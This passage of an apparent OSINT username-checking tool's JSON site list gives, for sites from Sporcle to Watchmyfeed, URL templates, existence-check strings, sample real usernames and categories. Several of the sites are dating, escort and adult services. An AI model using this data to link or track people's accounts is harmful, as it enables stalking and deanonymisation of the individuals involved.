Open 2018</strong>", + "m_code": 200, + "known": [ + "defrager", + "xilinx" + ], + "cat": "coding" + }, + { + "name": "sporcle", + "uri_check": "https://www.sporcle.com/user/{account}/people/", + "e_code": 200, + "e_string": "'s Sporcle Friends", + "m_string": "This Sporcle user cannot be found.", + "m_code": 301, + "known": [ + "Test", + "lolshortee" + ], + "cat": "gaming" + }, + { + "name": "Sports Tracker", + "uri_check": "https://api.sports-tracker.com/apiserver/v1/user/name/{account}", + "uri_pretty": "https://sports-tracker.com/view_profile/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"code\":\"404\"", + "m_code": 200, + "known": [ + "petriola", + "adisonthadat" + ], + "cat": "health" + }, + { + "name": "Spotify", + "uri_check": "https://open.spotify.com/user/{account}", + "e_code": 200, + "e_string": "content=\"profile\"", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "kexp_official", + "mkbhd" + ], + "cat": "music", + "protection": [ + "other" + ] + }, + { + "name": "StackOverflow", + "uri_check": "https://stackoverflow.com/users/filter?search={account}", + "e_code": 200, + "e_string": "grid--item user-info", + "m_string": "No users matched your search.", + "m_code": 200, + "known": [ + "vonc", + "bergi" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "StackShare", + "uri_check": "https://stackshare.io/{account}", + "e_code": 200, + "e_string": "class='user-container'", + "m_string": "Sorry, we couldn't find that page :(", + "m_code": 404, + "known": [ + "gordonpn68492", + "Alan-Liang" + ], + "cat": "tech" + }, + { + "name": "Statuspage", + "uri_check": "https://{account}.statuspage.io/api/v2/status.json", + "uri_pretty": "https://{account}.statuspage.io/", + "e_code": 200, + "e_string": "updated_at", + "m_string": "<html><body>You are being <a href=\"https://www.statuspage.io\">redirected</a>.</body></html>", + "m_code": 302, + "known": [ + "8713981tpdlg", + "gaming", + "coinbase" + ], + "cat": "tech" + }, + { + "name": "Steam", + "uri_check": "https://steamcommunity.com/id/{account}", + "e_code": 200, + "e_string": "g_rgProfileData =", + "m_string": "Steam Community :: Error", + "m_code": 200, + "known": [ + "test" + ], + "cat": "gaming" + }, + { + "name": "SteamGifts", + "uri_check": "https://www.steamgifts.com/user/{account}", + "e_code": 200, + "e_string": "\"identifier\":", + "m_string": "", + "m_code": 301, + "known": [ + "AbsurdPoncho", + "Wolod1402" + ], + "cat": "gaming" + }, + { + "name": "Steemit", + "uri_check": "https://signup.steemit.com/api/check_username", + "uri_pretty": "https://steemit.com/@{account}", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"type\":\"error_api_username_used\"", + "m_string": "\"success\":true", + "m_code": 200, + "known": [ + "petlover", + "zalat" + ], + "cat": "social" + }, + { + "name": "steller", + "uri_check": "https://steller.co/{account}", + "e_code": 200, + "e_string": " on Steller", + "m_string": "", + "m_code": 404, + "known": [ + "jeannnn", + "havwoods" + ], + "cat": "shopping" + }, + { + "name": "StoryCorps", + "uri_check": "https://archive.storycorps.org/user/{account}/", + "e_code": 200, + "e_string": "archive author", + "m_string": "We're sorry, but the page", + "m_code": 404, + "known": [ + "jthorstad", + "paul-swider" + ], + "cat": "blog" + }, + { + "name": "Strava", + "uri_check": "https://www.strava.com/athletes/{account}", + "e_code": 301, + "e_string": "/athletes/", + "m_string": "\"page\":\"/404\"", + "m_code": 404, + "known": [ + "jane", + "adam" + ], + "cat": "social" + }, + { + "name": "StreamElements", + "uri_check": "https://api.streamelements.com/kappa/v2/channels/{account}", + "uri_pretty": "https://streamelements.com/{account}", + "e_code": 200, + "e_string": "\"providerId\"", + "m_string": "error", + "m_code": 404, + "known": [ + "honey", + "dude" + ], + "cat": "finance" + }, + { + "name": "StreamLabs", + "uri_check": "https://streamlabs.com/api/v6/user/{account}", + "uri_pretty": "https://streamlabs.com/{account}/tip", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "Unauthorized", + "m_code": 401, + "known": [ + "veibae", + "cutie_cori" + ], + "cat": "finance" + }, + { + "name": "Stripchat", + "uri_check": "https://stripchat.com/api/front/users/checkUsername?username={account}", + "uri_pretty": "https://stripchat.com/{account}", + "e_code": 400, + "e_string": "\"error\":\"This username already exists\"", + "m_string": "[]", + "m_code": 200, + "known": [ + "DulcieRichard", + "Katie-Mili" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Subscribestar", + "uri_check": "https://subscribestar.adult/{account}", + "e_code": 200, + "e_string": "CREATOR STATS", + "m_string": "WE ARE SORRY, THE PAGE YOU REQUESTED CANNOT BE FOUND", + "m_code": 404, + "known": [ + "missmoonified", + "honey" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Substack", + "uri_check": "https://substack.com/@{account}", + "e_code": 200, + "e_string": "| Substack", + "m_string": "" on Substack", + "m_code": 200, + "known": [ + "janellehardacre", + "janeclairebradley" + ], + "cat": "social" + }, + { + "name": "sukebei.nyaa.si", + "uri_check": "https://sukebei.nyaa.si/user/{account}", + "e_code": 200, + "e_string": "'s torrents", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "kouhy76", + "Rektr0" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Suzuri", + "uri_check": "https://suzuri.jp/{account}", + "e_code": 200, + "e_string": "Items", + "m_string": "Push Space-key", + "m_code": 404, + "known": [ + "itochanxxx", + "alex" + ], + "cat": "business" + }, + { + "name": "szmer.info", + "uri_check": "https://szmer.info/u/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "Code: Couldn't find that username or email.", + "m_code": 200, + "known": [ + "przeczzpreczem", + "Xavier" + ], + "cat": "social" + }, + { + "name": "tabletoptournament", + "uri_check": "https://www.tabletoptournaments.net/eu/player/{account}", + "e_code": 200, + "e_string": "- Player Profile | T³ - TableTop Tournaments", + "m_string": "No player with the nickname", + "m_code": 200, + "known": [ + "Lars01", + "john" + ], + "cat": "misc" + }, + { + "name": "Tagged", + "uri_check": "https://secure.tagged.com/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "Tagged - The social network for meeting new people", + "m_code": 302, + "known": [ + "Samantha", + "Robert" + ], + "cat": "social" + }, + { + "name": "TamTam", + "uri_check": "https://tamtam.chat/{account}", + "e_code": 200, + "e_string": "deeplink=tamtam://chat/", + "m_string": "ТамТам", + "m_code": 302, + "known": [ + "blue", + "John" + ], + "cat": "social" + }, + { + "name": "Tanuki.pl", + "uri_check": "https://tanuki.pl/profil/{account}", + "e_code": 200, + "e_string": "Dołączył", + "m_string": "Nie ma takiego użytkownika", + "m_code": 404, + "known": [ + "ania", + "avellana" + ], + "cat": "hobby" + }, + { + "name": "TAPiTAG", + "uri_check": "https://account.tapitag.co/tapitag/api/v1/{account}", + "uri_pretty": "https://account.tapitag.co/{account}", + "e_code": 200, + "e_string": "User details are Showing", + "m_string": "The rf number is not valid", + "m_code": 200, + "known": [ + "JonathanWallace", + "gearoidconsidine" + ], + "cat": "business" + }, + { + "name": "Tappy", + "uri_check": "https://api.tappy.tech/api/profile/username/{account}", + "uri_pretty": "https://www.tappy.tech/{account}", + "e_code": 200, + "e_string": "user_id", + "m_string": "Profile of username Not Found", + "m_code": 200, + "known": [ + "alexborrelli", + "domocann" + ], + "cat": "business" + }, + { + "name": "Taringa", + "uri_check": "https://www.taringa.net/{account}", + "e_code": 200, + "e_string": " en Taringa!", + "m_string": "Colectiva en Taringa!", + "m_code": 301, + "known": [ + "jocaxav", + "engendrometal" + ], + "cat": "social" + }, + { + "name": "Taringa Archived Profile", + "uri_check": "https://archive.org/wayback/available?url=https://www.taringa.net/{account}", + "uri_pretty": "https://web.archive.org/web/2/taringa.net/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "farantic", + "elrubius" + ], + "cat": "archived" + }, + { + "name": "taskrabbit", + "uri_check": "https://www.taskrabbit.com/profile/{account}/about", + "e_code": 200, + "e_string": "’s Profile", + "m_string": "", + "m_code": 302, + "known": [ + "john", + "sam" + ], + "cat": "business" + }, + { + "name": "Teamtreehouse", + "uri_check": "https://teamtreehouse.com/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "Oops, Something went missing", + "m_code": 404, + "known": [ + "john" + ], + "cat": "coding" + }, + { + "name": "Teddygirls", + "uri_check": "https://teddysgirls.net/models/{account}", + "e_code": 200, + "e_string": ";s exclusive page to subscribe to her", + "m_string": "The page you were looking for doesn't exist", + "m_code": 404, + "known": [ + "jaycee-starr", + "chubbychick94" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Teespring", + "uri_check": "https://commerce.teespring.com/v1/stores?slug={account}", + "uri_pretty": "https://{account}.creator-spring.com", + "e_code": 200, + "e_string": "sellerToken", + "m_string": "{\"errors\":{\"store\":[\"not found\"]}}", + "m_code": 404, + "known": [ + "missmoonified", + "honey" + ], + "cat": "business" + }, + { + "name": "Teknik", + "uri_check": "https://user.teknik.io/{account}", + "e_code": 200, + "e_string": "Public Key", + "m_string": "The user does not exist", + "m_code": 200, + "known": [ + "red", + "bob" + ], + "cat": "tech" + }, + { + "name": "Telegram", + "uri_check": "https://t.me/{account}", + "e_code": 200, + "e_string": "tgme_page_title", + "m_string": "noindex, nofollow", + "m_code": 200, + "known": [ + "alice", + "giovanni" + ], + "cat": "social" + }, + { + "name": "Teletype", + "uri_check": "https://teletype.in/@{account}", + "e_code": 200, + "e_string": "class=\"layout__content m_main blog\"", + "m_string": "class=\"error\"", + "m_code": 404, + "known": [ + "mart11", + "anotherj" + ], + "cat": "blog" + }, + { + "name": "Tellonym", + "uri_check": "https://api.tellonym.me/profiles/name/{account}", + "uri_pretty": "https://tellonym.me/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"code\":\"NOT_FOUND\"", + "m_code": 404, + "known": [ + "jane", + "jimmy" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Tenor", + "uri_check": "https://tenor.com/users/{account}", + "e_code": 200, + "e_string": "class=\"ProfilePage page\"", + "m_string": "class=\"error-page container page\"", + "m_code": 404, + "known": [ + "maggie342", + "d33jay23" + ], + "cat": "images" + }, + { + "name": "TETR.IO", + "uri_check": "https://ch.tetr.io/api/users/{account}", + "uri_pretty": "https://ch.tetr.io/u/{account}", + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 404, + "known": [ + "icly", + "5han" + ], + "cat": "gaming" + }, + { + "name": "TF2 Backpack Examiner", + "uri_check": "http://www.tf2items.com/id/{account}/", + "e_code": 200, + "e_string": "TF2 Backpack -", + "m_string": "", + "m_code": 302, + "known": [ + "test" + ], + "cat": "gaming" + }, + { + "name": "thegatewaypundit", + "uri_check": "https://www.thegatewaypundit.com/author/{account}/", + "e_code": 200, + "e_string": "summary", + "m_string": "Not found, error 404", + "m_code": 404, + "known": [ + "patti", + "joehoft" + ], + "cat": "political" + }, + { + "name": "theguardian", + "uri_check": "https://www.theguardian.com/profile/{account}", + "e_code": 200, + "e_string": "<h2 class=\"dcr-1ln6kec\">", + "m_string": "<title>Page Not Found | The Guardian", + "m_code": 404, + "known": [ + "minna-salami", + "johnnaughton" + ], + "cat": "news" + }, + { + "name": "themeforest", + "uri_check": "https://themeforest.net/user/{account}", + "e_code": 200, + "e_string": "s profile on ThemeForest", + "m_string": "Page Not Found | ThemeForest", + "m_code": 301, + "known": [ + "john", + "bob" + ], + "cat": "art" + }, + { + "name": "Thetattooforum", + "uri_check": "https://www.thetattooforum.com/members/{account}/", + "e_code": 200, + "e_string": "Insert This Gallery", + "m_string": "We’re sorry", + "m_code": 500, + "known": [ + "mixdop", + "modifyielts" + ], + "cat": "art" + }, + { + "name": "thoughts", + "uri_check": "https://thoughts.com/members/{account}/", + "e_code": 200, + "e_string": "Page not found", + "m_code": 404, + "known": [ + "myownpersonalthoughts", + "danwions" + ], + "cat": "hobby" + }, + { + "name": "Threads.net", + "uri_check": "https://www.threads.net/@{account}", + "e_code": 200, + "e_string": ") on Threads", + "m_string": "Threads", + "m_code": 200, + "known": [ + "s_novoselov", + "oliveralexanderdk" + ], + "cat": "social" + }, + { + "name": "TikTok", + "uri_check": "https://www.tiktok.com/oembed?url=https://www.tiktok.com/@{account}", + "uri_pretty": "https://www.tiktok.com/@{account}?lang=en", + "e_code": 200, + "e_string": "author_url", + "m_string": "Something went wrong", + "m_code": 400, + "known": [ + "gordonramsayofficial", + "pookiebear73" + ], + "cat": "social" + }, + { + "name": "Tilde.zone (Mastodon Instance)", + "uri_check": "https://tilde.zone/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://tilde.zone/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "ben", + "lunatic" + ], + "cat": "social" + }, + { + "name": "Tinder", + "uri_check": "https://tinder.com/@{account}", + "e_code": 200, + "e_string": ") | Tinder", + "m_string": "Tinder | Dating, Make Friends & Meet New People", + "m_code": 200, + "known": [ + "Alexey", + "peter", + "john" + ], + "cat": "dating" + }, + { + "name": "Tindie", + "uri_check": "https://www.tindie.com/accounts/check_username/", + "uri_pretty": "https://www.tindie.com/stores/{account}/", + "post_body": "username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"errors\": [\"Username taken!\"]", + "m_string": "\"valid\": true", + "m_code": 200, + "known": [ + "tehrabbitt", + "dekunukem" + ], + "cat": "shopping" + }, + { + "name": "TipeeeStream", + "uri_check": "https://www.tipeeestream.com/v3.0/pages/{account}", + "uri_pretty": "https://www.tipeeestream.com/{account}/", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"message\":\"Not found\"", + "m_code": 404, + "known": [ + "gagzzz", + "larebouille" + ], + "cat": "finance" + }, + { + "name": "Tooting.ch (Mastodon Instance)", + "uri_check": "https://tooting.ch/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://tooting.ch/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "mikebeganyi", + "Zugi" + ], + "cat": "social" + }, + { + "name": "Topcoder", + "uri_check": "https://api.topcoder.com/v5/members/{account}", + "uri_pretty": "https://profiles.topcoder.com/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"message\":\"Member with handle:", + "m_code": 404, + "known": [ + "chinvib66", + "mwakanosya" + ], + "cat": "coding" + }, + { + "name": "toyhou.se", + "uri_check": "https://toyhou.se/{account}", + "e_code": 200, + "e_string": "display-user", + "m_string": "We can't find that page!", + "m_code": 404, + "known": [ + "22RII", + "honey" + ], + "cat": "hobby" + }, + { + "name": "tradingview", + "uri_check": "https://www.tradingview.com/u/{account}/", + "e_code": 200, + "e_string": "— Trading Ideas &", + "m_string": "Page not found — TradingView", + "m_code": 404, + "known": [ + "liam", + "john" + ], + "cat": "finance" + }, + { + "name": "trakt", + "uri_check": "https://trakt.tv/users/{account}", + "e_code": 200, + "e_string": "s profile - Trakt", + "m_string": "The page you were looking for doesn't exist (404) - Trakt.tv", + "m_code": 404, + "known": [ + "john", + "anne" + ], + "cat": "video" + }, + { + "name": "TRAKTRAIN", + "uri_check": "https://traktrain.com/{account}", + "e_code": 200, + "e_string": "id=\"userId\"", + "m_string": "class=\"title-404\"", + "m_code": 404, + "known": [ + "terrotuga", + "fr4ud" + ], + "cat": "music" + }, + { + "name": "Trello", + "uri_check": "https://trello.com/1/Members/{account}", + "uri_pretty": "https://trello.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "

Oh no! 404!

", + "m_code": 404, + "known": [ + "naranjasan", + "jane" + ], + "cat": "social", + "protection": [ + "other" + ] + }, + { + "name": "tripadvisor", + "uri_check": "https://www.tripadvisor.com/Profile/{account}", + "e_code": 200, + "e_string": "Contributions", + "m_string": "This page is on vacation", + "m_code": 404, + "known": [ + "john", + "peter" + ], + "cat": "social" + }, + { + "name": "TruckersMP", + "uri_check": "https://truckersmp.com/user/search?search={account}", + "e_code": 200, + "e_string": "class=\"team-v2\"", + "m_string": "

Could not find any member using these credentials

", + "m_code": 200, + "known": [ + "JohnnySOBA", + "Vasya_Run" + ], + "cat": "gaming" + }, + { + "name": "TruckersMP.Ru", + "uri_check": "https://truckersmp.ru/{account}", + "e_code": 200, + "e_string": "class=\"b-user-page\"", + "m_string": "class=\"b-handler-error-404\"", + "m_code": 404, + "known": [ + "ramanbardashevich", + "Sanya193Rus" + ], + "cat": "gaming" + }, + { + "name": "Truth Social", + "uri_check": "https://truthsocial.com/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://truthsocial.com/@{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"Record not found\"", + "m_code": 404, + "known": [ + "realdonaldtrump", + "ScottAdamsTruth" + ], + "cat": "social" + }, + { + "name": "TryHackMe", + "uri_check": "https://tryhackme.com/api/user/exist/{account}", + "uri_pretty": "https://tryhackme.com/r/p/{account}", + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 200, + "known": [ + "user", + "goyalyuval15" + ], + "cat": "tech" + }, + { + "name": "Tryst", + "uri_check": "https://tryst.link/escort/{account}", + "e_code": 200, + "e_string": "Caters to
", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "lpatterson32", + "kansasgirl69" + ], + "cat": "xx NSFW xx" + }, + { + "name": "tumblr", + "uri_check": "https://{account}.tumblr.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "avatar", + "m_string": "There's nothing here", + "m_code": 404, + "known": [ + "test", + "test1" + ], + "cat": "images" + }, + { + "name": "tunefind", + "uri_check": "https://www.tunefind.com/api-request/account/profile?userName={account}", + "uri_pretty": "https://www.tunefind.com/user/profile/{account}", + "e_code": 200, + "e_string": "\"user-stats-engagement\":", + "m_string": "\"code\":\"not_found\"", + "m_code": 404, + "known": [ + "baywolfmusic", + "mrcerny18", + "4evryng" + ], + "cat": "music" + }, + { + "name": "Twitcasting", + "uri_check": "https://twitcasting.tv/{account}", + "e_code": 200, + "e_string": "Live History", + "m_string": "Not Found", + "m_code": 302, + "known": [ + "yuno___nico", + "2_t0_" + ], + "cat": "social" + }, + { + "name": "Twitch", + "uri_check": "https://twitchtracker.com/{account}", + "uri_pretty": "https://twitch.tv/{account}/", + "e_code": 200, + "e_string": "Overview</a>", + "m_string": "<title>404 Page Not Found", + "m_code": 404, + "known": [ + "summit1g", + "cohhcarnage" + ], + "cat": "gaming" + }, + { + "name": "Twitter archived profile", + "uri_check": "http://archive.org/wayback/available?url=https://twitter.com/{account}", + "uri_pretty": "https://web.archive.org/web/2/https://twitter.com/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "jack", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "Twitter archived tweets", + "uri_check": "http://archive.org/wayback/available?url=https://twitter.com/{account}/status/*", + "uri_pretty": "https://web.archive.org/web/*/https://twitter.com/{account}/status/*", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "jack", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "twoplustwo", + "uri_check": "https://forumserver.twoplustwo.com/ajax.php?do=usersearch", + "uri_pretty": "https://forumserver.twoplustwo.com/search.php", + "post_body": "securitytoken=guest&do=usersearch&fragment={account}", + "e_code": 200, + "e_string": "userid=", + "m_string": "", + "m_code": 404, + "known": [ + "redsox", + "adam" + ], + "cat": "hobby" + }, + { + "name": "twpro", + "uri_check": "https://twpro.jp/{account}", + "e_code": 200, + "e_string": "おとなりさん", + "m_string": "をご確認ください。", + "m_code": 404, + "known": [ + "wsise47", + "tsukiusa630" + ], + "cat": "social" + }, + { + "name": "Ubisoft", + "uri_check": "https://discussions.ubisoft.com/user/{account}", + "e_code": 200, + "e_string": "| Ubisoft Discussion Forums", + "m_string": "You seem to have stumbled upon a page that does not exist.", + "m_code": 404, + "known": [ + "fizzle_fuze", + "th05324" + ], + "cat": "gaming" + }, + { + "name": "Udemy", + "uri_check": "https://www.udemy.com/user/{account}/", + "e_code": 200, + "e_string": "| Udemy", + "m_string": "Online Courses - Learn Anything, On Your Schedule | Udemy", + "m_code": 301, + "known": [ + "stephane-maarek", + "lizbrown3" + ], + "cat": "tech" + }, + { + "name": "UEF CONNECT", + "uri_check": "https://uefconnect.uef.fi/en/{account}/", + "e_code": 200, + "e_string": "profile-page-header__info", + "m_string": "Page not found - UEFConnect", + "m_code": 404, + "known": [ + "heli.mutanen", + "mette.heiskanen" + ], + "cat": "business" + }, + { + "name": "uid", + "uri_check": "http://uid.me/{account}", + "e_code": 200, + "e_string": "- uID.me", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "john", + "peter" + ], + "cat": "social" + }, + { + "name": "Ultimate Guitar", + "uri_check": "https://www.ultimate-guitar.com/u/{account}", + "e_code": 200, + "e_string": " | Ultimate-Guitar.Com", + "m_string": "Oops! We couldn't find that page.", + "m_code": 410, + "known": [ + "LYNX-Music", + "Mikhailo", + "MeGaDeth2314" + ], + "cat": "hobby" + }, + { + "name": "Ultras Diary", + "uri_check": "http://ultrasdiary.pl/u/{account}/", + "e_code": 200, + "e_string": "Mecze wyjazdowe:", + "m_string": "Ile masz wyjazdów?", + "m_code": 404, + "known": [ + "janek", + "kowal" + ], + "cat": "hobby" + }, + { + "name": "Unlisted Videos", + "uri_check": "https://unlistedvideos.com/search.php?user={account}", + "e_code": 200, + "e_string": "Date submitted", + "m_string": "content=\"\"/>", + "m_code": 200, + "known": [ + "emudshit", + "hirumaredx" + ], + "cat": "archived" + }, + { + "name": "unsplash", + "uri_check": "https://unsplash.com/@{account}", + "e_code": 200, + "e_string": "| Unsplash Photo Community", + "m_string": "Hm, the page you were looking for doesn't seem to exist anymore.", + "m_code": 404, + "known": [ + "john", + "alex" + ], + "cat": "images" + }, + { + "name": "Untappd", + "uri_check": "https://untappd.com/user/{account}/", + "e_code": 200, + "e_string": "class=\"cont user_profile\"", + "m_string": "class=\"search_404\"", + "m_code": 404, + "known": [ + "Welcomenetguy", + "patpatcarney" + ], + "cat": "social" + }, + { + "name": "USA Life", + "uri_check": "https://usa.life/{account}", + "e_code": 200, + "e_string": "Please log in to like, share and comment", + "m_string": "Sorry, page not found", + "m_code": 302, + "known": [ + "abaynes79", + "not1face" + ], + "cat": "social" + }, + { + "name": "utip.io", + "uri_check": "https://utip.io/creator/profile/{account}", + "uri_pretty": "https://utip.io/{account}", + "e_code": 200, + "e_string": "\"userName\"", + "m_string": "Not a valid web service key", + "m_code": 404, + "known": [ + "honey", + "chloe" + ], + "cat": "finance" + }, + { + "name": "uwu.ai", + "uri_check": "https://{account}.uwu.ai/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "property=\"twitter:card\"", + "m_string": "Sorry, the requested page could not be found.", + "m_code": 404, + "known": [ + "elite", + "citruciel" + ], + "cat": "social" + }, + { + "name": "Uwumarket", + "uri_check": "https://uwumarket.us/collections/{account}", + "e_code": 200, + "e_string": "collection-hero__text-wrapper", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "saki", + "aicandii" + ], + "cat": "business" + }, + { + "name": "vapenews", + "uri_check": "https://vapenews.ru/profile/{account}", + "e_code": 200, + "e_string": "Профиль", + "m_string": "404", + "m_code": 404, + "known": [ + "igor", + "vladimir" + ], + "cat": "hobby" + }, + { + "name": "Venmo", + "uri_check": "https://account.venmo.com/u/{account}", + "e_code": 200, + "e_string": "profileInfo_username__", + "m_string": "Sorry, the page you requested does not exist!", + "m_code": 404, + "known": [ + "John-Goolsby-8", + "kate-mura" + ], + "cat": "finance" + }, + { + "name": "Vero", + "uri_check": "https://vero.co/{account}", + "e_code": 200, + "e_string": "name=\"username", + "m_string": "

Not Found

", + "m_code": 200, + "known": [ + "alex", + "johnny" + ], + "cat": "art" + }, + { + "name": "vibilagare", + "uri_check": "https://www.vibilagare.se/users/{account}", + "e_code": 200, + "e_string": "Profil på vibilagare.se", + "m_string": "Sidan hittades inte |", + "m_code": 404, + "known": [ + "lars01", + "sven" + ], + "cat": "misc" + }, + { + "name": "VIEWBUG", + "uri_check": "https://www.viewbug.com/member/{account}", + "e_code": 200, + "e_string": "class=\"top-profile-since\"", + "m_string": "id=\"missing-this\"", + "m_code": 404, + "known": [ + "soulcraft", + "aychmb" + ], + "cat": "hobby" + }, + { + "name": "Vimeo", + "uri_check": "https://vimeo.com/{account}", + "e_code": 200, + "e_string": "og:type", + "m_string": "VimeUhOh", + "m_code": 404, + "known": [ + "john", + "alice" + ], + "cat": "video" + }, + { + "name": "Vine", + "uri_check": "https://vine.co/api/users/profiles/vanity/{account}", + "uri_pretty": "https://vine.co/{account}", + "e_code": 200, + "e_string": "userId", + "m_string": "That record does not exist", + "m_code": 404, + "known": [ + "TomHarlock", + "Seks" + ], + "cat": "video" + }, + { + "name": "VIP-blog", + "uri_check": "http://{account}.vip-blog.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "blog : ", + "m_string": "Blog inexistant", + "m_code": 200, + "known": [ + "sarah", + "brahim01" + ], + "cat": "blog" + }, + { + "name": "VirusTotal", + "uri_check": "https://www.virustotal.com/ui/users/{account}", + "uri_pretty": "https://www.virustotal.com/gui/user/{account}", + "headers": { + "Accept-Ianguage": "en-US", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0", + "X-Tool": "vt-ui-main", + "X-VT-Anti-Abuse-Header": "MTAxOTFwMDcxOTEtWkc5dWRDQmlaU0JsZG2scy5xNzE4Mjc1NDI0LjUzMw==" + }, + "e_code": 200, + "e_string": "\"data\"", + "m_string": "\"code\": \"NotFoundError\"", + "m_code": 404, + "known": [ + "cyber", + "cybersecstu" + ], + "cat": "misc" + }, + { + "name": "visnesscard", + "uri_check": "https://my.visnesscard.com/Home/GetCard/{account}", + "uri_pretty": "https://my.visnesscard.com/{account}", + "e_code": 200, + "e_string": "end_point", + "m_string": "card_id\": 0", + "m_code": 200, + "known": [ + "Lisa-Gordon", + "Bill-Schaeffer" + ], + "cat": "business" + }, + { + "name": "Vivino", + "uri_check": "https://www.vivino.com/users/{account}", + "e_code": 200, + "e_string": "", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "test", + "admin" + ], + "cat": "video" + }, + { + "name": "VK", + "uri_check": "https://vk.com/{account}", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:125.0) Gecko/20100101 Firefox/125.0" + }, + "e_code": 200, + "e_string": "content=\"profile\"", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "ches_ches", + "mike.kidlazy" + ], + "cat": "social" + }, + { + "name": "Vkl.world (Mastodon Instance)", + "uri_check": "https://vkl.world/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://vkl.world/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "king", + "aniver" + ], + "cat": "social" + }, + { + "name": "Vmst.io (Mastodon Instance)", + "uri_check": "https://vmst.io/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://vmst.io/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "vmstan", + "honestdave" + ], + "cat": "social" + }, + { + "name": "Voice123", + "uri_check": "https://voice123.com/api/providers/search/{account}", + "uri_pretty": "https://voice123.com/{account}", + "e_code": 200, + "e_string": "user_id", + "m_string": "[]", + "m_code": 200, + "known": [ + "dottovuu", + "maheshsaha1992" + ], + "cat": "hobby" + }, + { + "name": "Voices.com", + "uri_check": "https://www.voices.com/profile/{account}/", + "e_code": 200, + "e_string": "Last Online

", + "m_string": "Try going back to the previous page or see below for more options", + "m_code": 301, + "known": [ + "briankirchoff", + "bryankopta" + ], + "cat": "business" + }, + { + "name": "vsco", + "uri_check": "https://vsco.co/{account}/gallery", + "headers": { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0" + }, + "e_code": 200, + "e_string": "permaSubdomain", + "m_string": "\"error\":\"site_not_found\"}", + "m_code": 404, + "known": [ + "sam", + "becca" + ], + "cat": "social" + }, + { + "name": "W3Schools", + "uri_check": "https://pathfinder-api.kai.w3spaces.com/public-profile-api/{account}", + "e_code": 200, + "e_string": "\"userId\":", + "m_string": "\"message\":\"Profile does not exists or not visible\"", + "m_code": 404, + "known": [ + "test", + "admin" + ], + "cat": "tech" + }, + { + "name": "Wakatime", + "uri_check": "https://wakatime.com/@{account}", + "e_code": 200, + "e_string": ") - WakaTime", + "m_string": "404: Not Found", + "m_code": 404, + "known": [ + "jake", + "alimirzayev" + ], + "cat": "coding" + }, + { + "name": "Warmerise", + "uri_check": "https://warmerise.com/profile/{account}", + "e_code": 200, + "e_string": "<div id='profile_photo", + "m_string": "<h2>Page Not Found", + "m_code": 404, + "known": [ + "alfrevid", + "thepro" + ], + "cat": "gaming" + }, + { + "name": "warriorforum", + "uri_check": "https://www.warriorforum.com/members/{account}.html", + "e_code": 200, + "e_string": "Last Activity:", + "m_string": "Oops | Warrior Forum -", + "m_code": 400, + "known": [ + "alex", + "discrat" + ], + "cat": "hobby" + }, + { + "name": "watchmemore.com", + "uri_check": "https://api.watchmemore.com/api4/profile/{account}/", + "uri_pretty": "https://watchmemore.com/{account}/", + "e_code": 200, + "e_string": "displayName", + "m_string": "notExists", + "m_code": 400, + "known": [ + "medroxy", + "nodjev" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Watchmyfeed", + "uri_check": "https://watchmyfeed.com/{account}", + "e_code": 200, + "e_string": "SEND ME A TIP", + "m_string": "", + "m_code": 302, + 